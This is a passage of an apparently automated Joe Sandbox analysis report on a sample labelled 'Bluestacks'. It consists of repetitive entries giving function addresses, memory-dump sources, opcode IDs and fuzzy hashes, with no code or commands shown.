                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 6a2c566c89f8b798c3b61cc4468474981185dc064c8512af58838422b2e10233
                                                                                              • Instruction ID: f3b215c0cde04ec9b4fc5de8dedbceabdd1b919dfaeb1e8f13b27fd68968038b
                                                                                              • Opcode Fuzzy Hash: 6a2c566c89f8b798c3b61cc4468474981185dc064c8512af58838422b2e10233
                                                                                              • Instruction Fuzzy Hash: 35714A31A0C949CFE7ECDA18A4EA5B837D0FF46334B2402B9D25EC75E2DD1CA8169781
                                                                                              Function 00007FFD34A6064B Relevance: .2, Instructions: 223COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: d98a5a54d95c1d917e883e278008d0d2779f959beaa43792bc9852ef2ab21bf6
                                                                                              • Instruction ID: e0ccfad094aeb689e2ddfcb2bc646f0a80db51f7294ee4f26f7ec6df311929e6
                                                                                              • Opcode Fuzzy Hash: d98a5a54d95c1d917e883e278008d0d2779f959beaa43792bc9852ef2ab21bf6
                                                                                              • Instruction Fuzzy Hash: AA71C370E1C64A8FEBA5DB6484A46BD7BA1EF56324F2004B9D10ED71C2DF6C6881E741
                                                                                              Function 00007FFD34A6EA5B Relevance: .2, Instructions: 222COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c8dc8e852d25a962a363cab2b7068d7ac24704dc52d773d0b20325d5bdd2b878
                                                                                              • Instruction ID: 3ba702517381ea5a36921fbcb2a05be7f2f7977d19b1b70247e3e13755ed244d
                                                                                              • Opcode Fuzzy Hash: c8dc8e852d25a962a363cab2b7068d7ac24704dc52d773d0b20325d5bdd2b878
                                                                                              • Instruction Fuzzy Hash: D671B230E1C64E8EEBA5DB6484A46BEBBF1FF66329F640479D10ED7181DE2C6841E740
                                                                                              Function 00007FFD34A6979B Relevance: .2, Instructions: 216COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1d301fe19597641aacf197b3bed285515de0b7edc8448da0c8f5de4ac47b0aab
                                                                                              • Instruction ID: 493cdcfd5931c50c551c3d8062059c59f0173ee3b9537c637540d8c5138234a8
                                                                                              • Opcode Fuzzy Hash: 1d301fe19597641aacf197b3bed285515de0b7edc8448da0c8f5de4ac47b0aab
                                                                                              • Instruction Fuzzy Hash: 4061C371E1D64E8EEBA5DF6488A02FCB7E4EF56318F2004BAD10ED7192DE2D6841DB41
                                                                                              Function 00007FFD34A6DEC2 Relevance: .2, Instructions: 212COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 866a82e7e139bc4b79159f959937215a2ff9d39e9589a4e71f0e6cc54ac17e50
                                                                                              • Instruction ID: d46f21501cff6d79665eac474df58b71f68ff0202c9b1738905d4bcdf3f0e44a
                                                                                              • Opcode Fuzzy Hash: 866a82e7e139bc4b79159f959937215a2ff9d39e9589a4e71f0e6cc54ac17e50
                                                                                              • Instruction Fuzzy Hash: A5516C31B0C4494FE768DA1888B65B937D1FF46334B2502BDD25EC75E2DE2CA806D781
                                                                                              Function 00007FFD34A68C02 Relevance: .2, Instructions: 209COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e36303c7378a523f32fc295a51b329de01041490f8b8758dc051d91ad9aab8d9
                                                                                              • Instruction ID: 0252e7f8a505ce60073d96dc1da350d6e02e1e864a0e20747fa1f65717f65f00
                                                                                              • Opcode Fuzzy Hash: e36303c7378a523f32fc295a51b329de01041490f8b8758dc051d91ad9aab8d9
                                                                                              • Instruction Fuzzy Hash: 1A514A3170E4498FE768DB18C8B65B937D4FF56334B2402BDD29EC75A2DE2CA80A9741
                                                                                              Function 00007FFD34A670B5 Relevance: .2, Instructions: 177COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b7c1ef8ec1058fc5375d4f3867dfaec0aca46876757ffce28a58c1c2d28a07ab
                                                                                              • Instruction ID: 414dccda78867098d31c9d8619046c4348bab1c776ce34405c511c355c8853bc
                                                                                              • Opcode Fuzzy Hash: b7c1ef8ec1058fc5375d4f3867dfaec0aca46876757ffce28a58c1c2d28a07ab
                                                                                              • Instruction Fuzzy Hash: 12514C31F0C5594FEB74969888B57F87BA1EF52318F2085BAC24EDB192CD3CA885D781
                                                                                              Function 00007FFD34A658C4 Relevance: .2, Instructions: 174COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: fe03f9ea5b669bd972e4f831882cf2d46901a96db66afca34f4efe5483fe9b70
                                                                                              • Instruction ID: 70ff95ada3e8f5820cdd4b0efe79693a6bb7cc4d0cef469848a3e80f17967234
                                                                                              • Opcode Fuzzy Hash: fe03f9ea5b669bd972e4f831882cf2d46901a96db66afca34f4efe5483fe9b70
                                                                                              • Instruction Fuzzy Hash: 0F510830B1C55A4AEBB4DB9888B06F87BE1FF51308F2481BAC18DD7286DD2C68819741
                                                                                              Function 00007FFD34A681C4 Relevance: .1, Instructions: 134COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: acd5ebc815cec74ee055abdd7fe28287016c2e94dcac53447d30a7c7cd350434
                                                                                              • Instruction ID: 671ad7b6584f77b854fa79e5d0c8f5bdc2e802cfa1e850ef17ee9c1b859f244b
                                                                                              • Opcode Fuzzy Hash: acd5ebc815cec74ee055abdd7fe28287016c2e94dcac53447d30a7c7cd350434
                                                                                              • Instruction Fuzzy Hash: 41417A3170E6854FDB12EB64D4B15E53BA4EF53324F2802F6C588CF197CA2CA886C751
                                                                                              Function 00007FFD34A641B7 Relevance: .1, Instructions: 127COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 97938f5720896c62afae04056cfc1a0ba0fb10f7f8fc7dcaa12f58f2cccdb0b6
                                                                                              • Instruction ID: 3daa4791ec8aebf01235ce4f5d26d739a1cec0ba94b9b4c1d0c7c1164bac8858
                                                                                              • Opcode Fuzzy Hash: 97938f5720896c62afae04056cfc1a0ba0fb10f7f8fc7dcaa12f58f2cccdb0b6
                                                                                              • Instruction Fuzzy Hash: 0541A53260C949CFDF88EF58C4A5DB9B3E1FBA9324714056ED44EC7292CE25E885CB81
                                                                                              Function 00007FFD34A6D2F7 Relevance: .1, Instructions: 127COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 5fa620261699ac1ee227919e5733129c292fed368be5fcbe5fc017124b793879
                                                                                              • Instruction ID: 7dc7eff0d9500bbf9943a8f6ca58b4fc0b47ead72839ce9343f546598181f729
                                                                                              • Opcode Fuzzy Hash: 5fa620261699ac1ee227919e5733129c292fed368be5fcbe5fc017124b793879
                                                                                              • Instruction Fuzzy Hash: 4741523160C9498FDF98EF1CC4A59B9B3E1FBA9324714056ED04ED7292DE29EC85CB81
                                                                                              Function 00007FFD34A6D105 Relevance: .1, Instructions: 120COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 5918b1a1de3d568728312c2ed78ae70e50863341c951e5783e3857ef02f2919d
                                                                                              • Instruction ID: 1d2a1cac1759ccb28ed460317e92c9748e393112ebf934236a4ac35fcf0ffaf5
                                                                                              • Opcode Fuzzy Hash: 5918b1a1de3d568728312c2ed78ae70e50863341c951e5783e3857ef02f2919d
                                                                                              • Instruction Fuzzy Hash: C8416A71E1E54ECBEBA8DB5484A11BD77B0FF46398F20007AD60EE6181CF7C6940AB81
                                                                                              Function 00007FFD34A64261 Relevance: .1, Instructions: 120COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 6c8fb782737b322fa020ea5169d8720a6bc869ec50c2fe946a23dfe4b93d3aaa
                                                                                              • Instruction ID: 6192806f299ed8dcb7b8cacf31a1f9e877c5eaaacaec942faad16a24a0d1c076
                                                                                              • Opcode Fuzzy Hash: 6c8fb782737b322fa020ea5169d8720a6bc869ec50c2fe946a23dfe4b93d3aaa
                                                                                              • Instruction Fuzzy Hash: 5531913260C9498FDF98EF28C4A5DB973E1FBA931471405AED44AC7292CE25E885CB81
                                                                                              Function 00007FFD34A6D3A1 Relevance: .1, Instructions: 120COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 055a38df4354b5046c202710653c491adc4d61e5ef0ad13c317d1fa703d88975
                                                                                              • Instruction ID: cf67b0fec2ee15673fc0d1dda8b6031be1e7933e17d91e190fb68c68add62115
                                                                                              • Opcode Fuzzy Hash: 055a38df4354b5046c202710653c491adc4d61e5ef0ad13c317d1fa703d88975
                                                                                              • Instruction Fuzzy Hash: D3314F316089488FDB98EF1CC4A5AA9B7E1FBB931471405AED04ED7292DE25EC85CB81
                                                                                              Function 00007FFD34670908 Relevance: .1, Instructions: 118COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2cd09c376caa99ecaeec8454059c6ebc7a4fe30a76283cee91b194be6247da6b
                                                                                              • Instruction ID: ca68270d18e4a4d9d269f54444bdb2bbc1f8f9cac9c2ecfb71bbb1f69938b873
                                                                                              • Opcode Fuzzy Hash: 2cd09c376caa99ecaeec8454059c6ebc7a4fe30a76283cee91b194be6247da6b
                                                                                              • Instruction Fuzzy Hash: F221F83130CC184FD768EA1CE889DB977D1EB5A32130501BAE58EC7165E911EC8287C1
                                                                                              Function 00007FFD34A641FB Relevance: .1, Instructions: 115COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e2d569233cac6f9dbd53f2bf50e6e353b34c6764afdcd189f1f94232dfc78ce0
                                                                                              • Instruction ID: f6968d24400cef46f66194d88a8cf78c45a8d5141ecd15b61d6e0948ca12527f
                                                                                              • Opcode Fuzzy Hash: e2d569233cac6f9dbd53f2bf50e6e353b34c6764afdcd189f1f94232dfc78ce0
                                                                                              • Instruction Fuzzy Hash: E831953160C949CFDF98EF58C0A5DB973E1FB6931471405ADD44AC7292CE25F985CB81
                                                                                              Function 00007FFD34A6D33B Relevance: .1, Instructions: 115COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 869d17ad6bd660b569e4255fac53a5e4f2126df82c62427f82ca92491de617a6
                                                                                              • Instruction ID: c442d1e01261c2fa710119dcff345f92ccea56b627f951a4cc8f336e1a11eace
                                                                                              • Opcode Fuzzy Hash: 869d17ad6bd660b569e4255fac53a5e4f2126df82c62427f82ca92491de617a6
                                                                                              • Instruction Fuzzy Hash: 263150316089498FDB98EF1CC4A59B9B3E1FBB9314714056ED04ED7292DE29F881CB81
                                                                                              Function 00007FFD34A6592C Relevance: .1, Instructions: 112COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b1b7615c83507907b85cae815d5e1a3c3c2c5ed85ea22f7641848f2dc5ad9a41
                                                                                              • Instruction ID: db54ce7abc50ab7741ee8d4ce9ffd1b41167e96eb03df4c9e6bde4d0109fad9d
                                                                                              • Opcode Fuzzy Hash: b1b7615c83507907b85cae815d5e1a3c3c2c5ed85ea22f7641848f2dc5ad9a41
                                                                                              • Instruction Fuzzy Hash: 5B31B767E0D7CA4EEBA19A68A8F50FA3BE0EF5337CB1500B7C285D6093DD1C28069751
                                                                                              Function 00007FFD34A65915 Relevance: .1, Instructions: 99COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b107f59f42cabe59d7d8a7b838a266ce749c76bfe6f42689d191d9296389b154
                                                                                              • Instruction ID: 13384d7cf72d631e7a55ebb5934e944b2c4d9ff46dad124f41cb2b4bbc3892f2
                                                                                              • Opcode Fuzzy Hash: b107f59f42cabe59d7d8a7b838a266ce749c76bfe6f42689d191d9296389b154
                                                                                              • Instruction Fuzzy Hash: 9E31A867E1D68A4EFBA19A2858F50FD7BE0EF5333CF250077C259D6092DD1C6806A251
                                                                                              Function 00007FFD34A63FC5 Relevance: .1, Instructions: 97COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e4008d7fa7aa9618f32b207eb835be414399e7359b92ae926674973dfbde4184
                                                                                              • Instruction ID: aa845fc5f57c0dd20837577476a116a478bfb448f6a8c6686f3167d186d1f1e5
                                                                                              • Opcode Fuzzy Hash: e4008d7fa7aa9618f32b207eb835be414399e7359b92ae926674973dfbde4184
                                                                                              • Instruction Fuzzy Hash: 37317A30A0C55ACFFB98DB5484E19BD7BB0FF46318F22007AD60ED6682CA3D6940A745
                                                                                              Function 00007FFD34A67095 Relevance: .1, Instructions: 96COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: f8b8375f8fe8be3db6b9c946acd5c87f1d8d6557593d2a407e7808b161540977
                                                                                              • Instruction ID: 3ebb597aaacee9bbc30b35b65b14f1b9f0ae6c5f4f37396992591f11e15fd781
                                                                                              • Opcode Fuzzy Hash: f8b8375f8fe8be3db6b9c946acd5c87f1d8d6557593d2a407e7808b161540977
                                                                                              • Instruction Fuzzy Hash: EF31FB38B1850ACADB68DB9488A55FD7BA1FF4530EF60447AE90ED6191CB3C7940AA81
                                                                                              Function 00007FFD34A6DB5E Relevance: .1, Instructions: 96COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 458fce15269efc72393a3b318232aa83a015ba02965af9634ff00c83b60eb83f
                                                                                              • Instruction ID: 2e6fb963d431352080b8b2e645f85e1f56b0143cbaa1fb0a0c663f425f4b15a9
                                                                                              • Opcode Fuzzy Hash: 458fce15269efc72393a3b318232aa83a015ba02965af9634ff00c83b60eb83f
                                                                                              • Instruction Fuzzy Hash: 5731A43090D6CE8FDB96CBA4C8A05ED7FF1FF5A324F1400AAD14AE7192CA6D5846D711
                                                                                              Function 00007FFD34670C25 Relevance: .1, Instructions: 89COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 0ecd2d6196a89e891db7b394559b5931768ee81191c4bd602c72a357db29b6a2
                                                                                              • Instruction ID: bdb7a84fcf6a60ebcf811fe9bb8b00d1da39e1a5d050a7a4172bb5e08b2b5eaa
                                                                                              • Opcode Fuzzy Hash: 0ecd2d6196a89e891db7b394559b5931768ee81191c4bd602c72a357db29b6a2
                                                                                              • Instruction Fuzzy Hash: F7214B76B0DAA98FE7129BA89CA11ED7F60EF43325F1481B3D248CB183D93C65069791
                                                                                              Function 00007FFD34A65964 Relevance: .1, Instructions: 88COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e7bae9c566ec390ce00346133c43f8b5c07901190a22e898027eb8b5e0fa5b7b
                                                                                              • Instruction ID: 6d7fdab7e8dabee8d9e2762a14857595ee16d93f3605afb8300f8fde8b815465
                                                                                              • Opcode Fuzzy Hash: e7bae9c566ec390ce00346133c43f8b5c07901190a22e898027eb8b5e0fa5b7b
                                                                                              • Instruction Fuzzy Hash: 1D21D267E1D68A4EEBA19A28A8B50FE7BE0EF5333CF240077C249D6092ED1C28059351
                                                                                              Function 00007FFD34A6132D Relevance: .1, Instructions: 88COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 09a25f1ef6a0821fa18411fb18181cbf3c4a2c5e100e5b970abf8e6a5f456d34
                                                                                              • Instruction ID: cd7f295860e5d2a9b19c6182309baf32d99277cb3d5a6dbf295d440bc8519f27
                                                                                              • Opcode Fuzzy Hash: 09a25f1ef6a0821fa18411fb18181cbf3c4a2c5e100e5b970abf8e6a5f456d34
                                                                                              • Instruction Fuzzy Hash: 05214F71B099464BDB84DF6CC4F15A8B7A1FF5A320B144179D59EC3686CF28B812DB80
                                                                                              Function 00007FFD34A62EB0 Relevance: .1, Instructions: 88COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 86c5c549c9f491d0eafcf8e6060545c1b69c30ccb08735078a51b7344c7266ef
                                                                                              • Instruction ID: 9af036e8629e21045a1a2e8b57eb363f141070ccef14e2b039085df7bce10bdc
                                                                                              • Opcode Fuzzy Hash: 86c5c549c9f491d0eafcf8e6060545c1b69c30ccb08735078a51b7344c7266ef
                                                                                              • Instruction Fuzzy Hash: 13314912A5C5968FE72A921484B45B87B91EF43324B384ABED587CF4D7C93CA882E341
                                                                                              Function 00007FFD34A61403 Relevance: .1, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 5507be4300307af2d35d397ce7553c0ce01550961e41584ad22b67155a90d898
                                                                                              • Instruction ID: ad548f315a6f6cf2820455cf0ad49c69bf6b94b3b9fa7202d3342abaf41e4128
                                                                                              • Opcode Fuzzy Hash: 5507be4300307af2d35d397ce7553c0ce01550961e41584ad22b67155a90d898
                                                                                              • Instruction Fuzzy Hash: EF21F671F0D5894EEB949A6898B62F87BD0FF57328F2401B9D59EC72C3DD1DA8069340
                                                                                              Function 00007FFD34A6BFF0 Relevance: .1, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e0899b4cc22f726c477442953068953c302cc144f6ab401ea8a5e5cc70361151
                                                                                              • Instruction ID: 0b5de316086a53b41b69452c5beb48eb252704e8702652d6c4b5c64411347fe7
                                                                                              • Opcode Fuzzy Hash: e0899b4cc22f726c477442953068953c302cc144f6ab401ea8a5e5cc70361151
                                                                                              • Instruction Fuzzy Hash: 42312B10A5C5978EF729861848B06747B95EF53324B3946BAD58ACB0D7C91CB981A381
                                                                                              Function 00007FFD34A6ABD6 Relevance: .1, Instructions: 85COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 37b63c68409c00312ce6b3c6c816ba90a80745e960352dbe72a5e7fd4305db5b
                                                                                              • Instruction ID: 12c359087711e90c15f310138d5e1ae7ac3c87b324f927c56369fc20af39f0e7
                                                                                              • Opcode Fuzzy Hash: 37b63c68409c00312ce6b3c6c816ba90a80745e960352dbe72a5e7fd4305db5b
                                                                                              • Instruction Fuzzy Hash: 54215131B1C6068BD7789E4851E153973D5EF9B328B30543DDA8FC3282DD2DBC426642
                                                                                              Function 00007FFD34A602C2 Relevance: .1, Instructions: 84COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
